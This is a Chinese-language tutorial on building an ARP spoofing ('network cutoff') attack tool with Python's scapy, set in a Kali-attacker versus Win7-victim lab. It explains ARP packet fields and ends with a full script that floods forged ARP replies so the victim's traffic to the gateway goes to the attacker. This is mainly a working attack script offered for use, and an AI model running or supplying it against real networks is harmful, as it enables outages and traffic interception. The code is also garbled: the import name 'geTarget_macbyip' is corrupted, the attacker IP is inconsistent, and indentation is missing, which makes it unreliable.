ARP断网攻击 - 脚本编写

  • 环境:
    Kali Linux 攻击机 192.168.1.102
    Win7 受害机 192.168.1.103
    网关:192.168.1.1

原理:

ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

ARP数据包:

Wireshark抓包来看一下arp请求包和响应包

  • ARP_Request包:

    Opencode: request(1) → arp请求包(op值为1)
    Sender MAC address: (00:0c:29:9a:3b:c4) → 发送方mac,本机mac
    Sender IP address:192.168.1.102 → 发送方IP,本机ip
    Target MAC address:(00:00:00:00:00:00) → 要寻找的目标mac地址,未知
    Target IP address: 192.168.1.1 → 目标ip - 网关ip

  • ARP_Reply包:

接下来,造轮子

打造你的ARP断网攻击工具


一、导入scapy 库:

1
2
3
4
5
6
7
from scapy.all import (
get_if_hwaddr,
geTarget_macbyip,
ARP,
Ether,
sendp
)

二、Ether() 类:

1
2
3
4
5
\>\>\> Ether().show()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 00:0c:29:9a:3b:c4
type = 0x9000

三、了解下ARP类构造函数的参数列表:

1
2
3
4
5
6
7
8
9
10
\>\>\> ls(ARP)
hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : ByteField = (6)
plen : ByteField = (4)
op : ShortEnumField = (1)
hwsrc : ARPSourceMACField = (None)
psrc : SourceIPField = (None)
hwdst : MACField = ('00:00:00:00:00:00')
pdst : IPField = ('0.0.0.0')

上面函数解析如下:
op → 取值为1或者2,代表ARP请求或者响应包。
hwsrc → 发送方Mac地址。
psrc → 发送方IP地址。
hwdst → 目标Mac地址。
pdst → 目标IP地址。

攻击方式:

告诉192.168.1.103(Win7)这台主机,网关地址是192.168.1.102(Kali Linux)这台主机的mac地址。

1
pack=Ether(dst=Target_mac,src=Kali_mac)/ARP(op=2,hwsrc=Kali_mac,psrc=Gateway_ip,hwdst=Target_mac,pdst=Target_ip)

解析:
Target_mac → 目标(受害机)mac地址,Win7的MAC
Kali_mac → 攻击机mac地址,Kali的MAC
op=2 → arp响应包,op值为2
Gateway_ip → 网关IP

写出攻击脚本,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from scapy.all import (
get_if_hwaddr,
geTarget_macbyip,
ARP,
Ether,
sendp
)

interFACE = "eth0"
Target_ip = "192.168.1.103"
Kali_ip = "192.168.0.102"
Gateway_ip = "192.168.1.1"
Target_mac = getmacbyip(Target_ip)
Kali_mac = get_if_hwaddr(interFACE)
Gateway_mac = getmacbyip(Gateway_ip)

pack = Ether(dst=Target_mac,src=Kali_mac) / ARP(op=2,hwsrc=Kali_mac,psrc=Gateway_ip,hwdst=Target_mac,pdst=Target_ip)

while True:
sendp(pack,inter=2,iface=interFACE)

sendp方法工作在第二层,数据链路层
Iface 网卡